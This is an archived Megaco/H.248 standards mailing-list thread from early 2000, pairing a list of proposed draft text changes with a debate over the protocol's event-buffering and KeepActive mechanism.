> representing the latest event.  If no sequence expecting a
> long-duration
> event at this position is matched, any such sequences are
> discarded from the
> candidate set, but the observed event duration is treated as
> irrelevant in
> assessing matches to the remaining candidates.
> 4. If exactly one candidate remains, a completion event is generated
> indicating an unambiguous match.  If no candidates remain,
> but one of the
> candidates from the previous step was fully satisfied before
> the latest
> event was detected, a completion event is generated
> indicating a full match
> and an extra event.  If no candidates remain and no candidate from the
> previous step was fully satisfied before the latest event was
> detected, a
> completion event is generated indicating a partial match and
> an extra event.
> If multiple candidates remain, steps 1 through 4 are repeated.
>
> * final paragraph of section, third sentence, and following digit map:
> replace with the following
> (begin replacement text)
>  If the DTMF detection package described in Annex E (section
> E.6) is used to
> collect the dialled digits, then the dialling plan shown
> above results in
> the following digit map:
> (0 | 00 | [1-7]xxx | 8xxxxxxx | Fxxxxxxx | Exx | 91xxxxxxxxxx
> | 9011x. )
> (end replacement text)
>
> Motivation: clarify and remove obsolete information from the
> description of
> operation of digit maps.
>
> Section 7.1.17
> ===========
> Actions
> * Add the following text after the second sentence (relating
> to AuditValue):
> (begin new text)
> In addition, if a digit map is active, the
> ObservedEventsDescriptor shall
> contain a digit map completion event as defined in the
> package whose events
> are being mapped.  This event shall show the contents of the
> current dial
> string at the time the audit request was processed.
> (end new text)
>
> * delete the fourth sentence:
> (begin deleted text)
> If a Notify is sent as a result of a signal completion, the
> ObservedEventsDescriptor contains the name of the signal that
> completed and
> the time at which it completed.
> (end deleted text)
>
> Section 7.2.5
> ===========
> Action: in the second last paragraph, replace the word
> "unspecified" with
> the word "wildcarded".
> Motivation: completion of earlier modifications presented in TD-32
> clarifying the operation of audits.
>
> Section 7.2.7
> ===========
> Actions
> * Second paragraph after API (third from end), last sentence:
> delete all
> after "... on the termination concerned".
> (begin deleted text)
> , or as the result of completion of a signal for which the
> MGC requested
> notification of completion
> (end deleted text)
>
> * next paragraph, second sentence: replace all after "... triggering
> EventsDescriptor ...":
> (begin replacement text)
> or embedded EventsDescriptor.
> (end replacement text)
>
> * delete the final paragraph of the section:
> (begin deleted text)
> A Notify triggered by completion of a signal, contains the
> corresponding
> signal name in the ObservedEventsDescriptor.
> (end deleted text)
> Motivation replace a special purpose mechanism for
> notification of signal
> completion with the ordinary event mechanism.
>
> Section 7.2.8
> ===========
> Actions
> * API should show TerminationID as a required result.  Other
> items need
> updating to match terminology in the rest of the section.
> (begin replacement text)
> TerminationID
> [ServiceChangeReplyDescriptor]
>                 ServiceChange(TerminationID,
>                         ServiceChangeDescriptor
>                 )
> (end replacement text)
>
> * throughout the section, replace the following
> ServiceChangeDescriptor
> fields: "Profile" becomes "ServiceChangeProfile", "Version"
> (note initial
> capital letter) becomes "ServiceChangeVersion", and
> "MGCIdToTry" becomes
> "ServiceChangeMgcId".
>
> * numbered list in the paragraph beginning "The ServiceChangeMethod
> parameter specifies ...", add the following text to the fifth
> list item
> (Handoff method):
> (begin new text)
> Sent from the MG to the MGC, this indicates that the MG is
> attempting to
> establish a new association in accordance with a Handoff
> received from the
> MGC with which it was previously associated.
> (end new text)
>
> * in the next list item (Failover), delete all after "...
> secondary MG is
> taking over"
> (begin deleted text)
> , and sent from MG to (new) MGC in response to the MG having
> received a
> ServiceChange with ServiceChangeMethod equal to Handoff
> (end deleted text)
>
> *  numbered list in the paragraph beginning "The ServiceChangeMethod
> parameter specifies ...", add a seventh list item as follows:
> (begin new text)
> 7) Another value whose meaning is mutually understood between
> the MG and the
> MGC.
> (end new text)
>
> * second paragraph following this list, beginning "The optional
> ServiceChangeAddress parameter ...", add the following
> sentences at the end
> of the paragraph:
> (begin new text)
> ServiceChangeAddress and ServiceChangeMgcId parameters must
> not both be
> present in the ServiceChangeDescriptor or the
> ServiceChangeResultDescriptor.
> The ServiceChangeAddress provides an address to be used
> within the context
> of the association currently being negotiated, while the
> ServiceChangeMgcId
> provides an alternate address where the MG should seek to
> establish another
> association.
> (end new text)
>
> * Following the paragraph beginning "The optional Timestamp parameter
> specifies ..." add a new paragraph.
> (begin new text)
> The optional Extension parameter may contain any value whose
> meaning is
> mutually understood by the MG and MGC.
> (end new text)
>
> * In the next paragraph, beginning "A ServiceChange Command
> specifying the
> "Root" ...", replace the fourth to seventh sentences
> (starting from "The MG
> may specify the transport ServiceChangeAddress ...") with the
> following
> text:
> (begin replacement text)
> The MG may specify an address in the ServiceChangeAddress
> parameter of the
> ServiceChange request, and the MGC may also do so in the ServiceChange
> reply.  In either case, the recipient must use the supplied
> address as the
> destination for all subsequent transaction requests within
> the association.
> At the same time, as indicated in section 9, transaction
> replies and pending
> indications must be sent to the address from which the corresponding
> requests originated.  This must be done even if  it implies
> extra messaging
> because commands and responses cannot be packed together.
> (end replacement text)
>
> * Delete the paragraph and bulleted list beginning "Summarizing use of
> properties in the ServiceChangeDescriptor ...", as it has proved to be
> misleading.
> (begin deleted text)
> Summarizing use of properties in the ServiceChange Descriptor:
>   * ServiceChangeMethod mandatory in all cases.
>   * ServiceChangeReason mandatory in all cases.
>   * ServiceChangeDelay mandatory if ServiceChangeMethod is
> "Graceful" or
> "Restart", otherwise not allowed.
>   * ServiceChangeAddress mandatory when the terminationID is
> ROOT, otherwise
> not allowed.
>   * Profile required if terminationID is ROOT, optional otherwise.
>   * Version as specified in section 11.3.
>   * MGCIdToTry optional if the message comes from MGC and
> terminationID is
> ROOT, not allowed otherwise.
>   * TimeStamp mandatory when terminationID is ROOT, optional
> otherwise.
> (end deleted text)
>
> * Replace the paragraph following the deleted text, as follows:
> (begin replacement text)
> The return from ServiceChange is empty except when the Root
> terminationID is
> used.  In that case it includes the following parameters as required:
>    * ServiceChangeAddress, if the responding MGC wishes to
> specify an new
> destination for messages from the MG for the remainder of the
> association;
>    * ServiceChangeMgcId, if the responding MGC does not wish
> to sustain an
> association with the MG;
>    * ServiceChangeProfile, if the responder wishes to
> negotiate the profile
> to be used for the association;
>    * ServiceChangeVersion, if the responder wishes to
> negotiate the version
> of the protocol to be used for the association.
> (end of replacement text)
> Motivation: clarify the operation of the ServiceChange
> command and render
> the text more consistent.
>
> Section 8
> ===========
> Action: delete first sentence of fourth paragraph after the figure.
> (begin deleted text)
> A TransactionReply includes the return values for all of the
> Commands in the
> corresponding TransactionRequest.
> (end deleted text)
> Motivation: made redundant by second sentence of paragraph.
>
> Section 8.3
> ===========
>  Action: remove any reference to RFC 2145 in the second paragraph.
> (begin replaced text, modified from TD 32/2)
> Versions consist of one or two digits, beginning with version
> 1 for the
> present version of the protocol.
> (end of replaced text)
> Motivation: remove inapplicable reference and provide a
> starting version
> number.
>
> Section 9
> ===========
> Action: all of the second paragraph following the first
> sentence as follows:
> (begin replacement text)
> If TCP or UDP is used as the protocol transport and the port
> to which the
> initial ServiceChange request is to be sent is not otherwise
> known, that
> request should be sent to the default port number for the
> protocol.  This
> port number is xxxx for text-encoded operation or yyyy for
> binary-encoded
> operation, for either UDP or TCP.  The MGC receives the
> message containing
> the ServiceChange request from the MG and can determine the
> MG's address
> from it.  As described in section 7.2.8, either the MG or the
> MGC may supply
> an address in the ServiceChangeAddress parameter to which subsequent
> transaction requests must be addressed, but responses (including the
> response to the initial ServiceChange request) must always be
> sent back to
> the address which was the source of the corresponding request.
> (end replacement text)
> Motivation: Update the intent with regard to default ports.
> (Actual IANA
> port number assignments should be known shortly.)  Clarify the use of
> ServiceChangeAddress and emphasize the rules for routing of responses.
>
> Section 11.1
> ===========
> Action: delete the final sentence from the final paragraph.
> (begin deleted text)
> ServiceChange may only be applied to the Root by the Master MGC.
> (end deleted text)
> Motivation: remove an unnecessary restriction, allowing
> handoff of Virtual
> MGs.
>
> Section 11.2
> ===========
> Action: replace "MGCIdToTry" with "ServiceChangeMgcId"
> wherever it occurs.
> Motivation: editorial.
>
> Section 11.3
> ===========
> Action: first paragraph, final sentence should be modified as follows:
> (begin replacement text)
> If the MG is unable to comply and it has established a
> transport connection
> to the MGC, it should close that connection.  In any event,
> it should reject
> all subsequent requests from the MGC with Error 406 Version
> Not Supported.
> (end replacement text)
> Motivation: specify more precisely the MG role in this case.
>
> Section 11.5
> ===========
> Actions
> * replace "MGCIdToTry" with "ServiceChangeMgcId" wherever it occurs.
> * second paragraph, third sentence: replace "Failover" by "Handoff".
> Motivation: editorial, consistency.
>
> Section 12.1.1
> ===========
> Action for description of PackageID on third line, remove all after
> "identifier"
> (begin deleted text)
> , its text encoding may not be a keyword in the base protocol
> (end deleted text)
>
> Annex A, Section A.2
> ===========
> Actions
> * in production AuditRequest, element auditDescriptor, remove
> the OPTIONAL
> attribute
> * in production StreamMode, remove value delete (5)
> * modify the comment to production PkgdName to say that wildcarding of
> Package Name (first two octets) is permitted only if Property
> Name is also
> wildcarded
> * in production Signal, element notifyCompletion, change type
> from RequestID
> to BOOLEAN
> Motivation: consistency with changes in the body of the document.
>
> Annex A, section A.3
> ===========
> Actions
> * in production digitLetter, replace term "ditigMapLetter" by term
> "digitMapLetter".
> * replace production digitMapLetter:
> (begin replacement text)
> digitMapLetter = DIGIT  /  %x41-4B / %x61-6B /      ; Mapped
> events 0-9, A-K
> (a-k)
>                                 "L"
> ; Long duration modifier
> (end replacement text)
>
> * delete production MFSig
> Motivation: consistency with section 7.1.14
>
> Annex B, section B.2
> ===========
> Actions
> * in production auditRequest, make the term LBRKT
> auditDescriptor RBRKT
> non-optional by removing the square brackets around it
> * change production ErrorCode from 1*3(DIGIT) to 1*4(DIGIT)
> * in production streamModes, remove alternative DeleteToken
> * replace production pkgdName as follows:
> (begin replacement text)
> pkgdName = (PackageName SLASH ItemID) /    ; specific item
>                      (PackageName SLASH "*" )      /     ;
> all events in
> package
>                      ( "*" SLASH "*")
>      ; all
> events supported by the MG
> (end replacement text)
> * replace production notifyCompletion as follows:
> (begin replacement text)
> notifyCompletion     = NotifyCompletionToken EQUAL ("ON" / "OFF" )
> (end replacement text)
> * replace production digitMapLetter as follows:
> (begin replacement text)
> digitMapLetter = DIGIT  /  %x41-4B / %x61-6B /      ; Mapped
> events 0-9, A-K
> (a-k)
>                                 "L"
> ; Long duration modifier
> (end replacement text)
> * delete production MFSig
> * in the production quotedString, remove the upper limit 64
> * in the production VALUE, remove the upper limit 64
> * remove production DeleteToken
> Motivation: consistency with the body of the document;
> removal of arbitrary
> limits on size of fields.
>
> Annex D, section D.1
> ===========
> Action:  modify the second sentence:
> (begin replacement text)
> When no port is provided by the peer (see section 7.2.8),
> commands should be
> sent to the default port number, xxxx for text-encoded
> operation or yyyy for
> binary-encoded operation.  Responses must always be sent to
> the address and
> port from which the corresponding commands were sent.
> (end replacement text)
> Motivation: update to show separation by encoding method and
> clarify routing
> of responses.
>
> Annex D, section D.1.1
> ===========
> Actions
> * Second paragraph, end of second sentence: replace the
> phrase "from the
> same entity" with the phrase "sent to the same MId".
> Motivation correct and clarify the description of which transaction
> identifier are to be matched.
>
> Annex E, section E.1.2
> ===========
> Action add description of a general signal completion event.
> (begin new text)
> Signal Completion
> EventID:                sc (0x0002)
> Indicates termination of one or more signals for which the
> notifyCompletion
> parameter was set to "ON".  For further procedural
> description, see sections
> 7.1.11, 7.1.17, and 7.2.7.
>
> Descriptor parameters:
> Signal Identity
>   ParameterID:  SigID (0x0001)
>   This parameter identifies the signals which have terminated.
>   Possible values: a list of signals and/or sequential signal
> lists which
> have terminated.  A signal outside of a sequential signal
> list shall be
> identified using the pkgdName syntax without wildcarding.  An
> individual
> signal inside of a sequential signal list shall be identified
> using the
> sequential signal list syntax with the correct signal list identifier,
> enclosing the name of the specific signal which terminated in pkgdName
> syntax.
>
> Termination Method
>   ParameterID:  Meth (0x0002)
>   Type: enumeration
>   Possible values:
>   "TO" (0x0001) Duration expired
>   "EV" (0x0002) Interrupted by event
>   "SD" (0x0003) Halted by new Signals Descriptor
>   "FL" (0x0004) Failure
>   Description: Indicates the means by which the signal terminated.
>
> (end new text)
> Motivation: complete the description of the signal completion
> reporting
> mechanism.
>
> Annex E, section E.5.3
> ===========
> Action: in the table of signal names and signal/tone IDs, replace d*
> (0x0020) by ds (0x0020), and d# (0x0021) by do (0x0021).
> Motivation: d* and d# are not legal ItemIDs in the syntax of Annex B.
>
> Annex E, section E.6
> ===========
> Action: delete the third paragraph of the description.
> (begin deleted text)
> Implementers of this package shall support d0-d9,d* and d#.
> Support of
> dA-dD is optional.
> (end of deleted text)
> Motivation: support of a package is on an "all or none" basis.
>
> Annex E, section E.6.2
> ===========
> Actions
> * Replace the existing digit map completion event
> documentation with the
> following:
> (begin replacement text)
> DigitMap Completion Event
> EventID: ce, 0x0001
> Raised when a digit map completes as described in section
> 7.1.14, or when an
> AuditValue requesting events is applied to a termination, as
> described in
> section 7.1.17.
> EventsDescriptor parameters: none.  This event is armed
> through activation
> of a DigitMap Descriptor in accompaniment with an events descriptor
> specifying the set of DTMF digit events to be mapped into the
> digit map.
>
> ObservedEventsDescriptor parameters:
> DigitString
> ParameterID: ds (0x0001)
> Type: string of digit map symbols (possibly empty)
> Possible values: any sequence of the characters "0" through
> "9", "A" through
> "F", and the long duration modifier "L".
> Description: the portion of the current dial string as
> described in section
> 7.1.14 which matched part or all of an alternative event
> sequence specified
> in the digit map.
>
> Extra
> ParameterID: ex (0x0002)
> Type: digit map symbol
> Possible values: any one of the characters "0" through "9" or
> "A" through
> "F"
> Description: the final digit map symbol added to the current
> dial string in
> the case where as a result it was determined that no match of
> the digit map
> was possible.  This parameter is present only when that outcome has
> occurred.
>
> Termination Method
> ParameterID:    Meth (0x0003)
> Type: enumeration
> Possible values:
> "MA" (0x0001) Unambiguous match
> "PM"  (0x0002) Partial match, timer expired or unmatched event
> "FM"  (0x0003) Full match, timer expired or unmatched event
> "AU"  (0x0004) Audit, collection in progress
> Description: indicates the reason for generation of the
> event.  See the
> procedures in section 7.1.14.  The Extra parameter may be
> present only if
> the "PM" or "FM" termination method is reported.  Its absence
> in those cases
> indicates that termination was by timer expiry.  The "AU"
> reason shall be
> used only for a response to an AuditValue of the termination
> while digit
> collection is in progress.
> (end of replacement text)
>
> * Add the following new text describing the mapping between
> DTMF tone events
> and digit map symbols:
> (begin new text)
> The following table maps DTMF events to digit map symbols as
> described in
> section 7.1.14.
> DTMF Event  Symbol
> d0                     "0"
> d1                     "1"
> d2                     "2"
> d3                     "3"
> d4                     "4"
> d5                     "5"
> d6                     "6"
> d7                     "7"
> d8                     "8"
> d9                     "9"
> da                     "A" or "a"
> db                     "B" or "b"
> dc                     "C" or "c"
> dd                     "D" or "d"
> ds                     "E" or "e"
> do                     "F" or "f"
>
> (end new text)
> Motivation: complete implementation for DTMF of digit map procedures
> described in section 7.1.14.
>
> Annex E, section E.9.2
> ===========
> Actions
> * Add the following text to the description of the on-hook event.
> (begin new text)
> If the first event descriptor after (re)establishment of MGC
> control over
> the specific termination concerned or the MG as a whole
> contains the on-hook
> event request and the line is already on-hook, the MG shall
> raise an on-ook
> event as if on-hook had occurred immediately after the event
> descriptor
> became active.
> (end new text)
>
> * Add the following to the description of the off-hook event.
> (begin new text)
> If the first event descriptor after (re)establishment of MGC
> control over
> the specific termination concerned or the MG as a whole contains the
> off-hook event request and the line is already off-hook, the
> MG shall raise
> an off-hook event as if off-hook had occurred immediately
> after the event
> descriptor became active.
> (end new text)
> Motivation: ensure synchronization of hook state between the
> MG and MGC
> following a control outage.
>
> Annex E, section E.10.3
> ===========
> Actions
> * add "(extendible)" after "q724" on the "Possible Values"
> line for each
> signal
> * add the following descriptive text to the Test type
> parameter for each
> signal
> (begin new text)
> Description: this parameter, if present, gives guidance to
> the MG on which
> type of continuity test to perform for the indicated
> Termination.  It is
> necessary only where multiple choices are valid for that
> termination.  In
> general, the MG will have to make use of information
> provisioned for the
> given termination in order to know the exact flavour of
> continuity test to
> run.
> (end new text)
> Motivation: make clear the responsibility of the MG to
> determine the exact
> type of continuity test to run.
>
> Annex E, section E.10.5
> ===========
> Action replace the paragraph with the following text:
> (begin replacement text)
> When a MGC initiates or responds to a MG by sending the
> Initiate or Response
> signal to the MG, the MG shall perform the continuity test in
> accordance
> with the specified test type and additional information
> provisioned in the
> MG for the affected termination.
> (end replacement text)
> Motivation: make clear the responsibility of the MG to
> determine the exact
> type of continuity test to run.
>
> Annex E, section E.11.1
> ===========
> Action: add the following definition of the Silence
> Suppression property.
> (begin new text)
> Silence Suppression
> PropertyID: ssup (0x1008)
> This property indicates whether silence suppression is to be
> activated in
> the encoding of the audio media flow to which it relates.
> Type: Boolean
> Possible values: True if silence suppression is to be applied.
> Defined in: LocalControl
> Characteristics: read/write
> (end of new text)
> Motivation: restore material inadvertently omitted.
>
> Annex E, section E.13.1
> ===========
> Action replace the definition of the echo cancellation
> property with the
> following text.
> (begin replacement text)
> Echo Cancellation
> PropertyID: ec (0x0008)
> By default, the telephony gateways always perform echo cancellation
> according to                 G.165/G.168. However, it is
> necessary, for some
> calls, to turn off these operations.
> Type: enumerated
> Possible Values:
>   "on" (echo cancellation is permanently enabled and will
> disregard any
> incoming tones)
>   "g165" (echo cancellation is according to G.165/G.168: echo
> cancellation
> is on to start with, but will turn itself off when it sees a
> 2100Hz tone
> with phase reversal (i.e. a CED fax tone, or an ANS modem tone)
>   "g164" (echo cancellation is according to G.164)
>   "off" (echo cancellation is turned off.)
> The default is "g165".
>         Defined In: LocalControlDescriptor
>         Characteristics: read/write
> (end replacement text)
> Motivation: allow specification of the echo cancellation
> algorithm, giving
> responsibility for detailed application to the MG.
>
> Appendix A, section A.1.2
> ===========
> Actions
> * in step 9, remove "L"and "S" characters from the digit map.  Use "E"
> instead of "*" and "F" instead of "#"
> * in step 11, the parameters to the dd/ce event should be
> "{ds="916135551212",Meth=FM}"
> * in step 15, add the line "Events = 1234{al/of}" preceding
> the Signals line
> * in step 16.  Insert the line "Add = A5555{}" above the line
> "Add = A5556{"
> Motivation: correct errors and make examples consistent with body of
> protocol document.
>
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 19:48:24 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24757
	for ; Mon, 7 Feb 2000 19:48:23 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DDC6BB60@standards.nortelnetworks.com>; Mon, 7 Feb 2000 19:45:20 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 30897 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 19:44:11 -0500
Received: from mtiwmhc02.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.B47B4A50@standards.nortelnetworks.com>; Mon, 7 Feb 2000 19:44:11
          -0500
Received: from worldnet.att.net ([12.78.107.67]) by mtiwmhc02.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208004630.LWDR26879@worldnet.att.net>; Tue, 8 Feb 2000 00:46:30
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208897@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID:  <389F6801.769ED484@worldnet.att.net>
Date:         Mon, 7 Feb 2000 19:49:05 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit

Brian

This turned out to be a somewhat lengthy e-mail but there doesn't seem to be
another way, so...

Below I've tried to explain in more detail some of the problems I see with
the event handling mechanism specified in H.248 v14. I hope this clarifies
the issue and also illustrates why the TD-58 solution from the Red Bank is
better.


The current event handling mechanism in Megaco/H248 v14 can be viewed as
three processes that all interact. Events can be viewed as always being
added to an event buffer (a FIFO queue) by an Event Detection process.
Another Event Processing process then removes these events from the FIFO
queue. When a notification is sent, this process may block, waiting for a
new EventsDescriptor to be received. Events detected meanwhile will simply
be added to the FIFO queue. Finally, whenever a new EventsDescriptor is
received the third process runs. This process determines the fate of events
of events sitting in the FIFO queue, and installs a new EventsDescriptor.

The processes are illustrated in pseudo-code below

Process 1: Event Detection
===================
do {

if < event in current EventsDescriptor> then   /* current EventsDescriptor
*/
  
 else
  
} forever


Process 2: Event Processing
===================
do {
 < wait for event in event buffer>
 < remove first event from event buffer>
 if  then {
  Notify(event)
  if  (Eventbuffer = “on”) then  /* current EventsDescriptor */
   
 }
} forever


Process 3: New Event Descriptor
=======================
if    /* new EventsDescritpr */
 




Unfortunately, this mechanism suffers from some drawbacks, especially when
compared to the mechanism that was specified in TD-58 after the Red Bank
meeting:

1. Events to be detected in process 1 are always determined by the current
EventsDescriptor. This is an unfortunate restriction which may prevent
detection of events that arrive more rapidly than the round-trip +
processing time. For example, an application may initially wish to detect
seizure, and subsequently detect a wink or unseizure. Unless all events are
requested at the same time (which would effectively prevent glare detection)
detection of all these events could not be guaranteed.

What is needed, is an extra parameter to specify what events to detect (as
opposed to process) during event buffering. Preferably, this set of events
would be determined based on the union of this parameter and the current
EventsDescriptor.


2. Hardcoding Notify in process 2 limits throughput, as there shall normally
only be one outstanding Notify per termination. A queue of Notify to be sent
may consequently build up at the sender side thereby
- Incurring event delivery delay when the event arrival rate exceeds the
MG-MGC roundtrip time.
- Limiting the average event arrival rate to the MG-MGC roundtrip time (best
case).

TD-58 from Red Bank did not have this limitation. First of all, the MGC had
the various “accumulate” actions that were designed to prevent this problem
and limit bandwidth and CPU overhead. Secondly, (assuming MGCP semantics) it
would be possible for the MG to try and empty the EventBuffer in a single
message based on the current EventsDescriptor (arguably, a parameter to
explicitly allow/disallow this behavior would be beneficial).


3. There is a dual use of the Eventbuffer parameter which is unfortunate.
Following a Notify where the Eventbuffer was “on”, there is no way for the
MGC to subsequently request that
a) All the currently buffered events should be processed
b) Future events should not be buffered events but simply sent immediately

A simple solution to this problem would be to separate the parameter into
two, which is precisely what the BufferedEventProcessingMode in TD-58 did.



Finally, from a design perspective, the above solution contains some
fundamentally undesirable properties. Most problematic is the hard-coded
Notify of events which effectively provides a stimulus based approach to
event handling with none or little future support for scripting. It
effectively prevents us from taking advantage of more powerful and
sophisticated MGs that are able to do some amount of local processing
thereby
- reducing bandwidth requirements
- reducing MGC processing requirements (and complexity)
- improves responsiveness as the network round-trip does not become a
bottleneck
Opponents to this point of view may claim, that packages with new events,
signals, and properties can be defined that effectively achieve the above,
as e.g. was done for digitmaps/DTMF detection. While that is indeed the case
(and there are valid use cases for such), the point that needs to be made,
is that the mechanisms are basic and of such high value that they should be
supported natively rather than only by higher level mechanisms which may or
may not be able to interact with each other. Consider for example the
current DTMF detection scheme. As a consequence of the higher layer approach
taken, it is not able to report incoming DTMF digits and other inter-twined
events in the correct order, since the DTMF detection mechanism must itself
be exactly one event (digit map completion). Another example is the
interaction with signal interruption, e.g. dial-tone. Again, special
consideration (define it to take place on the first digit) is needed to
achieve the desired behavior although the event really has not occurred yet.

Such requirements for special treatment and consideration are simply
evidence of lack of generality that should not show up at this stage. The
solution specified in TD-58 from Red Bank did not suffer from these
drawbacks.


Some additional comments below


"Rosen, Brian" wrote:

> Coming out of Red Bank there was NO consensus on Events,
> there was in fact wide disagreement on events.  Coming out of
> Washington, there was NO consensus on events, there was in fact
> wide disagreement on events.  The proposal we have in V13 was
> an attempt to fix what people saw as problems in the event
> mechanism.
>
> In Red Bank, no one could explain how the MGCP mechanism works.
> In Washington, several people attempted to explain how it works
> (Christian Huitema was not there for that session).  Today in
> fact, I'll bet you if you ask 10 people who claim they understand
> how the MGCP mechanism works, you would get several answers,
> although I would grant you that there is not a lot of variation
> in the implementations.  The V13 mechanism was not comprehensible
> to anyone in the design meetings in Washington or Red Bank.

If understanding the MGCP mechanism is the real problem, then I'm sure we
can get the right people to clarify. Having spent a lot of time on this
(admittedly confusing) aspect myself, I can certainly offer my help if
needed. As for a general lack of understanding of the mechanism I think you
are exagerating. There may be small details here and there that people
interpret differently, but I bet you any mechanism you specify will suffer
from this, including yours.


>
>
> I still have never been given any semblance of a reason why
> the variables in the MGCP exist, and what you do with them.
> I can, and have, provided same for the current mechanism.  So far
> we have not, save the confusion over the digitmap/keep active
> confusion, found a problem.

If you can be more specific I will do my best to try and explain.

>
>
> So far, I have found people who want the MGC to sort out events,
> and they want them as fast as the MG finds them.  I also found
> people who want a simple state machine, with the MG and MGC in
> lock step over what should happen.  We cater to both of those.
> You seem to want something in between, something where the MG
> has more knowledge about what the MGC wants, and when it wants it
> than I can figure out.  I can't understand how anything in between
> gimme all of them, and gimme the next one can work; please
> enlighten me.

Scripting! It comes in many shapes and forms (although not as many and not
as powerful as you might want right now). You have already defined one
yourself; digit maps. What accumulate, etc. gives you is essential the
foundation to build on here. It can even be used natively in some cases,
e.g. for MF trunking if you so desire.

>
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > Sent: Friday, February 04, 2000 2:11 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Cisco SG16: Keep Active
> >
> >
> > Hi Brian
> >
> > Some comments below
> >
> > Regards
> >
> >             Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > We have just had a discussion on this issue, and I believe it
> > > addresses it: digitmaps on dtmf optimizes reporting
> > > of dtmf detection, but is otherwise the same as individual dtmf
> > > events being enabled.  By that definition, KeepActive works the
> > > way you wanted it; without it, signals stop with first detected
> > > digit.  With it, signals continue while digits are detected.
> > > So your IVR app would specify KeepActive on the digitmap completion
> > > event, and use an embedded signal to turn it off if you wanted to.
> > > The old mechanism doesn't work any differently; if you had specified
> > > keepactive on the digits, whether or not they were accumulate by
> > > digitmap actions, you still would not be able to treat the initial
> > > digit differently from the terminating digit.  The only way you
> > > could make this better would be to have the digitmap completion
> > > event entirely separate from the dtmf detection events, so you
> > > could have KeepActive separately on the digits from the completion.
> > > I think embedded signals is a better answer, but I'm on record as
> > > thinking that digitmaps should be a package and not a basic
> > > protocol.
> > >
> > > I'll deal with any problems we still have with the current text,
> > > but a "everything changed" complaint without a problem is a no-op.
> >
> > I beg to differ. A change without a problem is
> > counterproductive and what
> > gets into these situations. We had something perfectly fine
> > after the Red
> > Bank meeting which for some reason was changed. Exactly *what* was the
> > problem that prompted this massive change (I'll spare you the ITU-T
> > procedural arguments here). If there were no compelling
> > reasons, then I
> > suggest that the text is simply brought back in line with the
> > agreement from
> > Red Bank, and then we can close this (big) one and move along.
> >
> > If you really want to, we can start a debate about the
> > relative merits,
> > trade-offs, and shortcomings of one scheme versus the other.
> > A couple of
> > topics off the top of my head
> > - Reduced number of messages and resultant reduced load on network and
> > entities
> > - Effective event arrival rate not limited by MGC-MG round-trip time
> > - Support for scripting
> >
> >
> >
> > >
> > >
> > > brian
> > >
> > > > -----Original Message-----
> > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > To: MEGACO@standards.nortelnetworks.com
> > > > Subject: Re: Cisco SG16: Keep Active
> > > >
> > > >
> > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > >
> > > > >
> > > > >I think the primary need here is for clarifying text in
> > > > section 7.1.14
> > > > >indicating that events mapped into a digit map do not generate
> > > > >notifications, but do terminate ongoing signals unless the
> > > > KeepActive flag
> > > > >is set.
> > > > Not really. The fundamental problem is the complete rework of
> > > > the agreed
> > > > upon event handling mechanism that for some reason was done
> > > > after the Red
> > > > Bank meeting.
> > > >
> > > > >
> > > > >-----Original Message-----  From:  Chip Sharp
> > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:43
> > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > >   Cisco SG16:
> > > > >Keep Active
> > > > >
> > > > >Section:        7.1.9, "Event Actions"
> > > > >table  Category:       Technical  Issue:          The draft
> > > > text specifies
> > > > >that "KeepActive:      As Notify, but  production of signals
> > > > continues (if
> > > > >any signals were active)".The above  definition is overly
> > > > restrictive in
> > > > >that it prevents events from being  accumulated (either with
> > > > or without
> > > > >digit map) and at the same time keeping  a signal active.
> > > > For example an
> > > > >IVR application accumulating a string of  user input and
> > playing an
> > > > >announcement until the entire string is  accumulated cannot
> > > > be supported
> > > > >with the above behaviour.  Proposal:       It is
> > recommended, that
> > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > becomes possible to
> > > > >specify multiple actions such that  "KeepActive" can be
> > > > combined with,
> > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > the particular
> > > > >application.
> > > > >
> > > > >v13 Status:     OPEN. Event actions table has been removed and
> > > > >extensive  modification of entire event processing taken place.
> > > > >
> > > > >Section:        7.1.9  Category:       Technical  Issue:
> >          The
> > > > >draft text specifies that "When KeepActive is specified
> > as the  event
> > > > >action, the media gateway shall send a Notify message to the
> > > >  controller
> > > > >upon detection of the event. Furthermore, the controller
> > shall  not
> > > > >interrupt any signals active on the Termination on which
> > the event
> > > > >is  detected" The above definition is overly restrictive
> > in that it
> > > > >prevents  events from being accumulated (either with or
> > > > without digit map)
> > > > >and at the  same time keeping a signal active. For example an IVR
> > > > >application  accumulating a string of user input and playing an
> > > > >announcement until the  entire string is accumulated cannot
> > > > be supported
